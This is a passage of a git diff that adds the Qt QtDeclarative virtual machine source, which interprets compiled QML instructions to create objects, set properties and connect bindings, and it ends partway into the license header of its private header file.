+ for (int ii = start; !isError() && ii < (start + count); ++ii) {
+ const QDeclarativeInstruction &instr = comp->bytecode.at(ii);
+
+ switch(instr.type) {
+ case QDeclarativeInstruction::Init:
+ {
+ if (instr.init.bindingsSize)
+ bindValues = QDeclarativeEnginePrivate::SimpleList<QDeclarativeAbstractBinding>(instr.init.bindingsSize);
+ if (instr.init.parserStatusSize)
+ parserStatus = QDeclarativeEnginePrivate::SimpleList<QDeclarativeParserStatus>(instr.init.parserStatusSize);
+ if (instr.init.contextCache != -1)
+ ctxt->setIdPropertyData(comp->contextCaches.at(instr.init.contextCache));
+ if (instr.init.compiledBinding != -1)
+ ctxt->optimizedBindings = new QDeclarativeCompiledBindings(datas.at(instr.init.compiledBinding).constData(), ctxt, comp);
+ }
+ break;
+
+ case QDeclarativeInstruction::CreateObject:
+ {
+ QBitField bindings;
+ if (instr.create.bindingBits != -1) {
+ const QByteArray &bits = datas.at(instr.create.bindingBits);
+ bindings = QBitField((const quint32*)bits.constData(),
+ bits.size() * 8);
+ }
+ if (stack.isEmpty())
+ bindings = bindings.united(bindingSkipList);
+
+ QObject *o =
+ types.at(instr.create.type).createInstance(ctxt, bindings, &vmeErrors);
+
+ if (!o) {
+ VME_EXCEPTION(QCoreApplication::translate("QDeclarativeVME","Unable to create object of type %1").arg(QString::fromLatin1(types.at(instr.create.type).className)));
+ }
+
+ QDeclarativeData *ddata = QDeclarativeData::get(o);
+ Q_ASSERT(ddata);
+
+ if (stack.isEmpty()) {
+ if (ddata->context) {
+ Q_ASSERT(ddata->context != ctxt);
+ Q_ASSERT(ddata->outerContext);
+ Q_ASSERT(ddata->outerContext != ctxt);
+ QDeclarativeContextData *c = ddata->context;
+ while (c->linkedContext) c = c->linkedContext;
+ c->linkedContext = ctxt;
+ } else {
+ ctxt->addObject(o);
+ }
+
+ ddata->ownContext = true;
+ } else if (!ddata->context) {
+ ctxt->addObject(o);
+ }
+
+ ddata->setImplicitDestructible();
+ ddata->outerContext = ctxt;
+ ddata->lineNumber = instr.line;
+ ddata->columnNumber = instr.create.column;
+
+ if (instr.create.data != -1) {
+ QDeclarativeCustomParser *customParser =
+ types.at(instr.create.type).type->customParser();
+ customParser->setCustomData(o, datas.at(instr.create.data));
+ }
+ if (!stack.isEmpty()) {
+ QObject *parent = stack.top();
+ if (o->isWidgetType()) {
+ QWidget *widget = static_cast<QWidget*>(o);
+ if (parent->isWidgetType()) {
+ QWidget *parentWidget = static_cast<QWidget*>(parent);
+ widget->setParent(parentWidget);
+ } else {
+ // TODO: parent might be a layout
+ }
+ } else {
+ QDeclarative_setParent_noEvent(o, parent);
+ }
+ }
+ stack.push(o);
+ }
+ break;
+
+ case QDeclarativeInstruction::CreateSimpleObject:
+ {
+ QObject *o = (QObject *)operator new(instr.createSimple.typeSize +
+ sizeof(QDeclarativeData));
+ ::memset(o, 0, instr.createSimple.typeSize + sizeof(QDeclarativeData));
+ instr.createSimple.create(o);
+
+ QDeclarativeData *ddata = (QDeclarativeData *)(((const char *)o) + instr.createSimple.typeSize);
+ const QDeclarativeCompiledData::TypeReference &ref = types.at(instr.createSimple.type);
+ if (!ddata->propertyCache && ref.typePropertyCache) {
+ ddata->propertyCache = ref.typePropertyCache;
+ ddata->propertyCache->addref();
+ }
+ ddata->lineNumber = instr.line;
+ ddata->columnNumber = instr.createSimple.column;
+
+ QObjectPrivate::get(o)->declarativeData = ddata;
+ ddata->context = ddata->outerContext = ctxt;
+ ddata->nextContextObject = ctxt->contextObjects;
+ if (ddata->nextContextObject)
+ ddata->nextContextObject->prevContextObject = &ddata->nextContextObject;
+ ddata->prevContextObject = &ctxt->contextObjects;
+ ctxt->contextObjects = ddata;
+
+ QObject *parent = stack.top();
+ QDeclarative_setParent_noEvent(o, parent);
+
+ stack.push(o);
+ }
+ break;
+
+ case QDeclarativeInstruction::SetId:
+ {
+ QObject *target = stack.top();
+ ctxt->setIdProperty(instr.setId.index, target);
+ }
+ break;
+
+
+ case QDeclarativeInstruction::SetDefault:
+ {
+ ctxt->contextObject = stack.top();
+ }
+ break;
+
+ case QDeclarativeInstruction::CreateComponent:
+ {
+ QDeclarativeComponent *qcomp =
+ new QDeclarativeComponent(ctxt->engine, comp, ii + 1, instr.createComponent.count,
+ stack.isEmpty() ? 0 : stack.top());
+
+ QDeclarativeData *ddata = QDeclarativeData::get(qcomp, true);
+ Q_ASSERT(ddata);
+
+ ctxt->addObject(qcomp);
+
+ if (stack.isEmpty())
+ ddata->ownContext = true;
+
+ ddata->setImplicitDestructible();
+ ddata->outerContext = ctxt;
+ ddata->lineNumber = instr.line;
+ ddata->columnNumber = instr.create.column;
+
+ QDeclarativeComponentPrivate::get(qcomp)->creationContext = ctxt;
+
+ stack.push(qcomp);
+ ii += instr.createComponent.count;
+ }
+ break;
+
+ case QDeclarativeInstruction::StoreMetaObject:
+ {
+ QObject *target = stack.top();
+
+ QMetaObject mo;
+ const QByteArray &metadata = datas.at(instr.storeMeta.data);
+ QMetaObjectBuilder::fromRelocatableData(&mo, 0, metadata);
+
+ const QDeclarativeVMEMetaData *data =
+ (const QDeclarativeVMEMetaData *)datas.at(instr.storeMeta.aliasData).constData();
+
+ (void)new QDeclarativeVMEMetaObject(target, &mo, data, comp);
+
+ if (instr.storeMeta.propertyCache != -1) {
+ QDeclarativeData *ddata = QDeclarativeData::get(target, true);
+ if (ddata->propertyCache) ddata->propertyCache->release();
+ ddata->propertyCache = propertyCaches.at(instr.storeMeta.propertyCache);
+ ddata->propertyCache->addref();
+ }
+ }
+ break;
+
+ case QDeclarativeInstruction::StoreVariant:
+ {
+ QObject *target = stack.top();
+ CLEAN_PROPERTY(target, instr.storeString.propertyIndex);
+
+ // XXX - can be more efficient
+ QVariant v = QDeclarativeStringConverters::variantFromString(primitives.at(instr.storeString.value));
+ void *a[] = { &v, 0, &status, &flags };
+ QMetaObject::metacall(target, QMetaObject::WriteProperty,
+ instr.storeString.propertyIndex, a);
+ }
+ break;
+
+ case QDeclarativeInstruction::StoreVariantInteger:
+ {
+ QObject *target = stack.top();
+ CLEAN_PROPERTY(target, instr.storeString.propertyIndex);
+
+ QVariant v(instr.storeInteger.value);
+ void *a[] = { &v, 0, &status, &flags };
+ QMetaObject::metacall(target, QMetaObject::WriteProperty,
+ instr.storeString.propertyIndex, a);
+ }
+ break;
+
+ case QDeclarativeInstruction::StoreVariantDouble:
+ {
+ QObject *target = stack.top();
+ CLEAN_PROPERTY(target, instr.storeString.propertyIndex);
+
+ QVariant v(instr.storeDouble.value);
+ void *a[] = { &v, 0, &status, &flags };
+ QMetaObject::metacall(target, QMetaObject::WriteProperty,
+ instr.storeString.propertyIndex, a);
+ }
+ break;
+
+ case QDeclarativeInstruction::StoreVariantBool:
+ {
+ QObject *target = stack.top();
+ CLEAN_PROPERTY(target, instr.storeString.propertyIndex);
+
+ QVariant v(instr.storeBool.value);
+ void *a[] = { &v, 0, &status, &flags };
+ QMetaObject::metacall(target, QMetaObject::WriteProperty,
+ instr.storeString.propertyIndex, a);
+ }
+ break;
+
+ case QDeclarativeInstruction::StoreString:
+ {
+ QObject *target = stack.top();
+ CLEAN_PROPERTY(target, instr.storeString.propertyIndex);
+
+ void *a[] = { (void *)&primitives.at(instr.storeString.value), 0, &status, &flags };
+ QMetaObject::metacall(target, QMetaObject::WriteProperty,
+ instr.storeString.propertyIndex, a);
+ }
+ break;
+
+ case QDeclarativeInstruction::StoreUrl:
+ {
+ QObject *target = stack.top();
+ CLEAN_PROPERTY(target, instr.storeUrl.propertyIndex);
+
+ void *a[] = { (void *)&urls.at(instr.storeUrl.value), 0, &status, &flags };
+ QMetaObject::metacall(target, QMetaObject::WriteProperty,
+ instr.storeUrl.propertyIndex, a);
+ }
+ break;
+
+ case QDeclarativeInstruction::StoreFloat:
+ {
+ QObject *target = stack.top();
+ CLEAN_PROPERTY(target, instr.storeFloat.propertyIndex);
+
+ float f = instr.storeFloat.value;
+ void *a[] = { &f, 0, &status, &flags };
+ QMetaObject::metacall(target, QMetaObject::WriteProperty,
+ instr.storeFloat.propertyIndex, a);
+ }
+ break;
+
+ case QDeclarativeInstruction::StoreDouble:
+ {
+ QObject *target = stack.top();
+ CLEAN_PROPERTY(target, instr.storeDouble.propertyIndex);
+
+ double d = instr.storeDouble.value;
+ void *a[] = { &d, 0, &status, &flags };
+ QMetaObject::metacall(target, QMetaObject::WriteProperty,
+ instr.storeDouble.propertyIndex, a);
+ }
+ break;
+
+ case QDeclarativeInstruction::StoreBool:
+ {
+ QObject *target = stack.top();
+ CLEAN_PROPERTY(target, instr.storeBool.propertyIndex);
+
+ void *a[] = { (void *)&instr.storeBool.value, 0, &status, &flags };
+ QMetaObject::metacall(target, QMetaObject::WriteProperty,
+ instr.storeBool.propertyIndex, a);
+ }
+ break;
+
+ case QDeclarativeInstruction::StoreInteger:
+ {
+ QObject *target = stack.top();
+ CLEAN_PROPERTY(target, instr.storeInteger.propertyIndex);
+
+ void *a[] = { (void *)&instr.storeInteger.value, 0, &status, &flags };
+ QMetaObject::metacall(target, QMetaObject::WriteProperty,
+ instr.storeInteger.propertyIndex, a);
+ }
+ break;
+
+ case QDeclarativeInstruction::StoreColor:
+ {
+ QObject *target = stack.top();
+ CLEAN_PROPERTY(target, instr.storeColor.propertyIndex);
+
+ QColor c = QColor::fromRgba(instr.storeColor.value);
+ void *a[] = { &c, 0, &status, &flags };
+ QMetaObject::metacall(target, QMetaObject::WriteProperty,
+ instr.storeColor.propertyIndex, a);
+ }
+ break;
+
+ case QDeclarativeInstruction::StoreDate:
+ {
+ QObject *target = stack.top();
+ CLEAN_PROPERTY(target, instr.storeDate.propertyIndex);
+
+ QDate d = QDate::fromJulianDay(instr.storeDate.value);
+ void *a[] = { &d, 0, &status, &flags };
+ QMetaObject::metacall(target, QMetaObject::WriteProperty,
+ instr.storeDate.propertyIndex, a);
+ }
+ break;
+
+ case QDeclarativeInstruction::StoreTime:
+ {
+ QObject *target = stack.top();
+ CLEAN_PROPERTY(target, instr.storeTime.propertyIndex);
+
+ QTime t;
+ t.setHMS(intData.at(instr.storeTime.valueIndex),
+ intData.at(instr.storeTime.valueIndex+1),
+ intData.at(instr.storeTime.valueIndex+2),
+ intData.at(instr.storeTime.valueIndex+3));
+ void *a[] = { &t, 0, &status, &flags };
+ QMetaObject::metacall(target, QMetaObject::WriteProperty,
+ instr.storeTime.propertyIndex, a);
+ }
+ break;
+
+ case QDeclarativeInstruction::StoreDateTime:
+ {
+ QObject *target = stack.top();
+ CLEAN_PROPERTY(target, instr.storeDateTime.propertyIndex);
+
+ QTime t;
+ t.setHMS(intData.at(instr.storeDateTime.valueIndex+1),
+ intData.at(instr.storeDateTime.valueIndex+2),
+ intData.at(instr.storeDateTime.valueIndex+3),
+ intData.at(instr.storeDateTime.valueIndex+4));
+ QDateTime dt(QDate::fromJulianDay(intData.at(instr.storeDateTime.valueIndex)), t);
+ void *a[] = { &dt, 0, &status, &flags };
+ QMetaObject::metacall(target, QMetaObject::WriteProperty,
+ instr.storeDateTime.propertyIndex, a);
+ }
+ break;
+
+ case QDeclarativeInstruction::StorePoint:
+ {
+ QObject *target = stack.top();
+ CLEAN_PROPERTY(target, instr.storeRealPair.propertyIndex);
+
+ QPoint p = QPointF(floatData.at(instr.storeRealPair.valueIndex),
+ floatData.at(instr.storeRealPair.valueIndex+1)).toPoint();
+ void *a[] = { &p, 0, &status, &flags };
+ QMetaObject::metacall(target, QMetaObject::WriteProperty,
+ instr.storeRealPair.propertyIndex, a);
+ }
+ break;
+
+ case QDeclarativeInstruction::StorePointF:
+ {
+ QObject *target = stack.top();
+ CLEAN_PROPERTY(target, instr.storeRealPair.propertyIndex);
+
+ QPointF p(floatData.at(instr.storeRealPair.valueIndex),
+ floatData.at(instr.storeRealPair.valueIndex+1));
+ void *a[] = { &p, 0, &status, &flags };
+ QMetaObject::metacall(target, QMetaObject::WriteProperty,
+ instr.storeRealPair.propertyIndex, a);
+ }
+ break;
+
+ case QDeclarativeInstruction::StoreSize:
+ {
+ QObject *target = stack.top();
+ CLEAN_PROPERTY(target, instr.storeRealPair.propertyIndex);
+
+ QSize p = QSizeF(floatData.at(instr.storeRealPair.valueIndex),
+ floatData.at(instr.storeRealPair.valueIndex+1)).toSize();
+ void *a[] = { &p, 0, &status, &flags };
+ QMetaObject::metacall(target, QMetaObject::WriteProperty,
+ instr.storeRealPair.propertyIndex, a);
+ }
+ break;
+
+ case QDeclarativeInstruction::StoreSizeF:
+ {
+ QObject *target = stack.top();
+ CLEAN_PROPERTY(target, instr.storeRealPair.propertyIndex);
+
+ QSizeF s(floatData.at(instr.storeRealPair.valueIndex),
+ floatData.at(instr.storeRealPair.valueIndex+1));
+ void *a[] = { &s, 0, &status, &flags };
+ QMetaObject::metacall(target, QMetaObject::WriteProperty,
+ instr.storeRealPair.propertyIndex, a);
+ }
+ break;
+
+ case QDeclarativeInstruction::StoreRect:
+ {
+ QObject *target = stack.top();
+ CLEAN_PROPERTY(target, instr.storeRect.propertyIndex);
+
+ QRect r = QRectF(floatData.at(instr.storeRect.valueIndex),
+ floatData.at(instr.storeRect.valueIndex+1),
+ floatData.at(instr.storeRect.valueIndex+2),
+ floatData.at(instr.storeRect.valueIndex+3)).toRect();
+ void *a[] = { &r, 0, &status, &flags };
+ QMetaObject::metacall(target, QMetaObject::WriteProperty,
+ instr.storeRect.propertyIndex, a);
+ }
+ break;
+
+ case QDeclarativeInstruction::StoreRectF:
+ {
+ QObject *target = stack.top();
+ CLEAN_PROPERTY(target, instr.storeRect.propertyIndex);
+
+ QRectF r(floatData.at(instr.storeRect.valueIndex),
+ floatData.at(instr.storeRect.valueIndex+1),
+ floatData.at(instr.storeRect.valueIndex+2),
+ floatData.at(instr.storeRect.valueIndex+3));
+ void *a[] = { &r, 0, &status, &flags };
+ QMetaObject::metacall(target, QMetaObject::WriteProperty,
+ instr.storeRect.propertyIndex, a);
+ }
+ break;
+
+ case QDeclarativeInstruction::StoreVector3D:
+ {
+ QObject *target = stack.top();
+ CLEAN_PROPERTY(target, instr.storeVector3D.propertyIndex);
+
+ QVector3D p(floatData.at(instr.storeVector3D.valueIndex),
+ floatData.at(instr.storeVector3D.valueIndex+1),
+ floatData.at(instr.storeVector3D.valueIndex+2));
+ void *a[] = { &p, 0, &status, &flags };
+ QMetaObject::metacall(target, QMetaObject::WriteProperty,
+ instr.storeVector3D.propertyIndex, a);
+ }
+ break;
+
+ case QDeclarativeInstruction::StoreObject:
+ {
+ QObject *assignObj = stack.pop();
+ QObject *target = stack.top();
+ CLEAN_PROPERTY(target, instr.storeObject.propertyIndex);
+
+ void *a[] = { (void *)&assignObj, 0, &status, &flags };
+ QMetaObject::metacall(target, QMetaObject::WriteProperty,
+ instr.storeObject.propertyIndex, a);
+ }
+ break;
+
+
+ case QDeclarativeInstruction::AssignCustomType:
+ {
+ QObject *target = stack.top();
+ CLEAN_PROPERTY(target, instr.assignCustomType.propertyIndex);
+
+ QDeclarativeCompiledData::CustomTypeData data = customTypeData.at(instr.assignCustomType.valueIndex);
+ const QString &primitive = primitives.at(data.index);
+ QDeclarativeMetaType::StringConverter converter =
+ QDeclarativeMetaType::customStringConverter(data.type);
+ QVariant v = (*converter)(primitive);
+
+ QMetaProperty prop =
+ target->metaObject()->property(instr.assignCustomType.propertyIndex);
+ if (v.isNull() || ((int)prop.type() != data.type && prop.userType() != data.type))
+ VME_EXCEPTION(QCoreApplication::translate("QDeclarativeVME","Cannot assign value %1 to property %2").arg(primitive).arg(QString::fromUtf8(prop.name())));
+
+ void *a[] = { (void *)v.data(), 0, &status, &flags };
+ QMetaObject::metacall(target, QMetaObject::WriteProperty,
+ instr.assignCustomType.propertyIndex, a);
+ }
+ break;
+
+ case QDeclarativeInstruction::AssignSignalObject:
+ {
+ // XXX optimize
+
+ QObject *assign = stack.pop();
+ QObject *target = stack.top();
+ int sigIdx = instr.assignSignalObject.signal;
+ const QByteArray &pr = datas.at(sigIdx);
+
+ QDeclarativeProperty prop(target, QString::fromUtf8(pr));
+ if (prop.type() & QDeclarativeProperty::SignalProperty) {
+
+ QMetaMethod method = QDeclarativeMetaType::defaultMethod(assign);
+ if (method.signature() == 0)
+ VME_EXCEPTION(QCoreApplication::translate("QDeclarativeVME","Cannot assign object type %1 with no default method").arg(QString::fromLatin1(assign->metaObject()->className())));
+
+ if (!QMetaObject::checkConnectArgs(prop.method().signature(), method.signature()))
+ VME_EXCEPTION(QCoreApplication::translate("QDeclarativeVME","Cannot connect mismatched signal/slot %1 %vs. %2").arg(QString::fromLatin1(method.signature())).arg(QString::fromLatin1(prop.method().signature())));
+
+ QDeclarativePropertyPrivate::connect(target, prop.index(), assign, method.methodIndex());
+
+ } else {
+ VME_EXCEPTION(QCoreApplication::translate("QDeclarativeVME","Cannot assign an object to signal property %1").arg(QString::fromUtf8(pr)));
+ }
+
+
+ }
+ break;
+
+ case QDeclarativeInstruction::StoreSignal:
+ {
+ QObject *target = stack.top();
+ QObject *context = stack.at(stack.count() - 1 - instr.storeSignal.context);
+
+ QMetaMethod signal = target->metaObject()->method(instr.storeSignal.signalIndex);
+
+ QDeclarativeBoundSignal *bs = new QDeclarativeBoundSignal(target, signal, target);
+ QDeclarativeExpression *expr =
+ new QDeclarativeExpression(ctxt, context, primitives.at(instr.storeSignal.value));
+ expr->setSourceLocation(comp->name, instr.line);
+ static_cast<QDeclarativeExpressionPrivate *>(QObjectPrivate::get(expr))->name = datas.at(instr.storeSignal.name);
+ bs->setExpression(expr);
+ }
+ break;
+
+ case QDeclarativeInstruction::StoreImportedScript:
+ {
+ ctxt->addImportedScript(scripts.at(instr.storeScript.value));
+ }
+ break;
+
+ case QDeclarativeInstruction::StoreScriptString:
+ {
+ QObject *target = stack.top();
+ QObject *scope = stack.at(stack.count() - 1 - instr.storeScriptString.scope);
+ QDeclarativeScriptString ss;
+ ss.setContext(ctxt->asQDeclarativeContext());
+ ss.setScopeObject(scope);
+ ss.setScript(primitives.at(instr.storeScriptString.value));
+
+ void *a[] = { &ss, 0, &status, &flags };
+ QMetaObject::metacall(target, QMetaObject::WriteProperty,
+ instr.storeScriptString.propertyIndex, a);
+ }
+ break;
+
+ case QDeclarativeInstruction::BeginObject:
+ {
+ QObject *target = stack.top();
+ QDeclarativeParserStatus *status = reinterpret_cast<QDeclarativeParserStatus *>(reinterpret_cast<char *>(target) + instr.begin.castValue);
+ parserStatus.append(status);
+ status->d = &parserStatus.values[parserStatus.count - 1];
+
+ status->classBegin();
+ }
+ break;
+
+ case QDeclarativeInstruction::StoreBinding:
+ case QDeclarativeInstruction::StoreBindingOnAlias:
+ {
+ QObject *target =
+ stack.at(stack.count() - 1 - instr.assignBinding.owner);
+ QObject *context =
+ stack.at(stack.count() - 1 - instr.assignBinding.context);
+
+ QDeclarativeProperty mp =
+ QDeclarativePropertyPrivate::restore(datas.at(instr.assignBinding.property), target, ctxt);
+
+ int coreIndex = mp.index();
+
+ if ((stack.count() - instr.assignBinding.owner) == 1 && bindingSkipList.testBit(coreIndex))
+ break;
+
+ QDeclarativeBinding *bind = new QDeclarativeBinding((void *)datas.at(instr.assignBinding.value).constData(), comp, context, ctxt, comp->name, instr.line, 0);
+ bindValues.append(bind);
+ bind->m_mePtr = &bindValues.values[bindValues.count - 1];
+ bind->setTarget(mp);
+
+ if (instr.type == QDeclarativeInstruction::StoreBindingOnAlias) {
+ QDeclarativeAbstractBinding *old = QDeclarativePropertyPrivate::setBindingNoEnable(target, coreIndex, QDeclarativePropertyPrivate::valueTypeCoreIndex(mp), bind);
+ if (old) { old->destroy(); }
+ } else {
+ bind->addToObject(target, QDeclarativePropertyPrivate::bindingIndex(mp));
+ }
+ }
+ break;
+
+ case QDeclarativeInstruction::StoreCompiledBinding:
+ {
+ QObject *target =
+ stack.at(stack.count() - 1 - instr.assignBinding.owner);
+ QObject *scope =
+ stack.at(stack.count() - 1 - instr.assignBinding.context);
+
+ int property = instr.assignBinding.property;
+ if (stack.count() == 1 && bindingSkipList.testBit(property & 0xFFFF))
+ break;
+
+ QDeclarativeAbstractBinding *binding =
+ ctxt->optimizedBindings->configBinding(instr.assignBinding.value, target, scope, property);
+ bindValues.append(binding);
+ binding->m_mePtr = &bindValues.values[bindValues.count - 1];
+ binding->addToObject(target, property);
+ }
+ break;
+
+ case QDeclarativeInstruction::StoreValueSource:
+ {
+ QObject *obj = stack.pop();
+ QDeclarativePropertyValueSource *vs = reinterpret_cast<QDeclarativePropertyValueSource *>(reinterpret_cast<char *>(obj) + instr.assignValueSource.castValue);
+ QObject *target = stack.at(stack.count() - 1 - instr.assignValueSource.owner);
+
+ QDeclarativeProperty prop =
+ QDeclarativePropertyPrivate::restore(datas.at(instr.assignValueSource.property), target, ctxt);
+ obj->setParent(target);
+ vs->setTarget(prop);
+ }
+ break;
+
+ case QDeclarativeInstruction::StoreValueInterceptor:
+ {
+ QObject *obj = stack.pop();
+ QDeclarativePropertyValueInterceptor *vi = reinterpret_cast<QDeclarativePropertyValueInterceptor *>(reinterpret_cast<char *>(obj) + instr.assignValueInterceptor.castValue);
+ QObject *target = stack.at(stack.count() - 1 - instr.assignValueInterceptor.owner);
+ QDeclarativeProperty prop =
+ QDeclarativePropertyPrivate::restore(datas.at(instr.assignValueInterceptor.property), target, ctxt);
+ obj->setParent(target);
+ vi->setTarget(prop);
+ QDeclarativeVMEMetaObject *mo = static_cast<QDeclarativeVMEMetaObject *>((QMetaObject*)target->metaObject());
+ mo->registerInterceptor(prop.index(), QDeclarativePropertyPrivate::valueTypeCoreIndex(prop), vi);
+ }
+ break;
+
+ case QDeclarativeInstruction::StoreObjectQList:
+ {
+ QObject *assign = stack.pop();
+
+ const ListInstance &list = qliststack.top();
+ list.qListProperty.append((QDeclarativeListProperty<void>*)&list.qListProperty, assign);
+ }
+ break;
+
+ case QDeclarativeInstruction::AssignObjectList:
+ {
+ // This is only used for assigning interfaces
+ QObject *assign = stack.pop();
+ const ListInstance &list = qliststack.top();
+
+ int type = list.type;
+
+ void *ptr = 0;
+
+ const char *iid = QDeclarativeMetaType::interfaceIId(type);
+ if (iid)
+ ptr = assign->qt_metacast(iid);
+ if (!ptr)
+ VME_EXCEPTION(QCoreApplication::translate("QDeclarativeVME","Cannot assign object to list"));
+
+
+ list.qListProperty.append((QDeclarativeListProperty<void>*)&list.qListProperty, ptr);
+ }
+ break;
+
+ case QDeclarativeInstruction::StoreVariantObject:
+ {
+ QObject *assign = stack.pop();
+ QObject *target = stack.top();
+ CLEAN_PROPERTY(target, instr.storeObject.propertyIndex);
+
+ QVariant v = QVariant::fromValue(assign);
+ void *a[] = { &v, 0, &status, &flags };
+ QMetaObject::metacall(target, QMetaObject::WriteProperty,
+ instr.storeObject.propertyIndex, a);
+ }
+ break;
+
+ case QDeclarativeInstruction::StoreInterface:
+ {
+ QObject *assign = stack.pop();
+ QObject *target = stack.top();
+ CLEAN_PROPERTY(target, instr.storeObject.propertyIndex);
+
+ int coreIdx = instr.storeObject.propertyIndex;
+ QMetaProperty prop = target->metaObject()->property(coreIdx);
+ int t = prop.userType();
+ const char *iid = QDeclarativeMetaType::interfaceIId(t);
+ bool ok = false;
+ if (iid) {
+ void *ptr = assign->qt_metacast(iid);
+ if (ptr) {
+ void *a[] = { &ptr, 0, &status, &flags };
+ QMetaObject::metacall(target,
+ QMetaObject::WriteProperty,
+ coreIdx, a);
+ ok = true;
+ }
+ }
+
+ if (!ok)
+ VME_EXCEPTION(QCoreApplication::translate("QDeclarativeVME","Cannot assign object to interface property"));
+ }
+ break;
+
+ case QDeclarativeInstruction::FetchAttached:
+ {
+ QObject *target = stack.top();
+
+ QObject *qmlObject = qmlAttachedPropertiesObjectById(instr.fetchAttached.id, target);
+
+ if (!qmlObject)
+ VME_EXCEPTION(QCoreApplication::translate("QDeclarativeVME","Unable to create attached object"));
+
+ stack.push(qmlObject);
+ }
+ break;
+
+ case QDeclarativeInstruction::FetchQList:
+ {
+ QObject *target = stack.top();
+
+ qliststack.push(ListInstance(instr.fetchQmlList.type));
+
+ void *a[1];
+ a[0] = (void *)&(qliststack.top().qListProperty);
+ QMetaObject::metacall(target, QMetaObject::ReadProperty,
+ instr.fetchQmlList.property, a);
+ }
+ break;
+
+ case QDeclarativeInstruction::FetchObject:
+ {
+ QObject *target = stack.top();
+
+ QObject *obj = 0;
+ // NOTE: This assumes a cast to QObject does not alter the
+ // object pointer
+ void *a[1];
+ a[0] = &obj;
+ QMetaObject::metacall(target, QMetaObject::ReadProperty,
+ instr.fetch.property, a);
+
+ if (!obj)
+ VME_EXCEPTION(QCoreApplication::translate("QDeclarativeVME","Cannot set properties on %1 as it is null").arg(QString::fromUtf8(target->metaObject()->property(instr.fetch.property).name())));
+
+ stack.push(obj);
+ }
+ break;
+
+ case QDeclarativeInstruction::PopQList:
+ {
+ qliststack.pop();
+ }
+ break;
+
+ case QDeclarativeInstruction::Defer:
+ {
+ if (instr.defer.deferCount) {
+ QObject *target = stack.top();
+ QDeclarativeData *data =
+ QDeclarativeData::get(target, true);
+ comp->addref();
+ data->deferredComponent = comp;
+ data->deferredIdx = ii;
+ ii += instr.defer.deferCount;
+ }
+ }
+ break;
+
+ case QDeclarativeInstruction::PopFetchedObject:
+ {
+ stack.pop();
+ }
+ break;
+
+ case QDeclarativeInstruction::FetchValueType:
+ {
+ QObject *target = stack.top();
+
+ if (instr.fetchValue.bindingSkipList != 0) {
+ // Possibly need to clear bindings
+ QDeclarativeData *targetData = QDeclarativeData::get(target);
+ if (targetData) {
+ QDeclarativeAbstractBinding *binding =
+ QDeclarativePropertyPrivate::binding(target, instr.fetchValue.property, -1);
+
+ if (binding && binding->bindingType() != QDeclarativeAbstractBinding::ValueTypeProxy) {
+ QDeclarativePropertyPrivate::setBinding(target, instr.fetchValue.property, -1, 0);
+ binding->destroy();
+ } else if (binding) {
+ QDeclarativeValueTypeProxyBinding *proxy =
+ static_cast<QDeclarativeValueTypeProxyBinding *>(binding);
+ proxy->removeBindings(instr.fetchValue.bindingSkipList);
+ }
+ }
+ }
+
+ QDeclarativeValueType *valueHandler = ep->valueTypes[instr.fetchValue.type];
+ valueHandler->read(target, instr.fetchValue.property);
+ stack.push(valueHandler);
+ }
+ break;
+
+ case QDeclarativeInstruction::PopValueType:
+ {
+ QDeclarativeValueType *valueHandler =
+ static_cast<QDeclarativeValueType *>(stack.pop());
+ QObject *target = stack.top();
+ valueHandler->write(target, instr.fetchValue.property,
+ QDeclarativePropertyPrivate::BypassInterceptor);
+ }
+ break;
+
+ default:
+ qFatal("QDeclarativeCompiledData: Internal error - unknown instruction %d", instr.type);
+ break;
+ }
+ }
+
+ if (isError()) {
+ if (!stack.isEmpty()) {
+ delete stack.at(0); // ### What about failures in deferred creation?
+ } else {
+ ctxt->destroy();
+ }
+
+ QDeclarativeEnginePrivate::clear(bindValues);
+ QDeclarativeEnginePrivate::clear(parserStatus);
+ return 0;
+ }
+
+ if (bindValues.count)
+ ep->bindValues << bindValues;
+ else if (bindValues.values)
+ bindValues.clear();
+
+ if (parserStatus.count)
+ ep->parserStatus << parserStatus;
+ else if (parserStatus.values)
+ parserStatus.clear();
+
+ Q_ASSERT(stack.count() == 1);
+ return stack.top();
+}
+
+bool QDeclarativeVME::isError() const
+{
+ return !vmeErrors.isEmpty();
+}
+
+QList<QDeclarativeError> QDeclarativeVME::errors() const
+{
+ return vmeErrors;
+}
+
+QObject *
+QDeclarativeCompiledData::TypeReference::createInstance(QDeclarativeContextData *ctxt,
+ const QBitField &bindings,
+ QList<QDeclarativeError> *errors) const
+{
+ if (type) {
+ QObject *rv = 0;
+ void *memory = 0;
+
+ type->create(&rv, &memory, sizeof(QDeclarativeData));
+ QDeclarativeData *ddata = new (memory) QDeclarativeData;
+ ddata->ownMemory = false;
+ QObjectPrivate::get(rv)->declarativeData = ddata;
+
+ if (typePropertyCache && !ddata->propertyCache) {
+ ddata->propertyCache = typePropertyCache;
+ ddata->propertyCache->addref();
+ }
+
+ return rv;
+ } else {
+ Q_ASSERT(component);
+ return QDeclarativeComponentPrivate::begin(ctxt, 0, component, -1, -1, 0, errors, bindings);
+ }
+}
+
+template<typename T>
+QDeclarativeVMEStack<T>::QDeclarativeVMEStack()
+: _index(-1)
+{
+}
+
+template<typename T>
+bool QDeclarativeVMEStack<T>::isEmpty() const {
+ return _index == -1;
+}
+
+template<typename T>
+const T &QDeclarativeVMEStack<T>::top() const {
+ return at(_index);
+}
+
+template<typename T>
+void QDeclarativeVMEStack<T>::push(const T &o) {
+ _index++;
+
+ Q_ASSERT(_index <= VLA::size());
+ if (_index == VLA::size())
+ VLA::append(o);
+ else
+ VLA::data()[_index] = o;
+}
+
+template<typename T>
+T QDeclarativeVMEStack<T>::pop() {
+ Q_ASSERT(_index >= 0);
+ --_index;
+ return VLA::data()[_index + 1];
+}
+
+template<typename T>
+int QDeclarativeVMEStack<T>::count() const {
+ return _index + 1;
+}
+
+template<typename T>
+const T &QDeclarativeVMEStack<T>::at(int index) const {
+ return VLA::data()[index];
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativevme_p.h b/src/declarative/qml/qdeclarativevme_p.h
new file mode 100644
index 00000000..a00b4f12
--- /dev/null
+++ b/src/declarative/qml/qdeclarativevme_p.h
@@ -0,0 +1,95 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
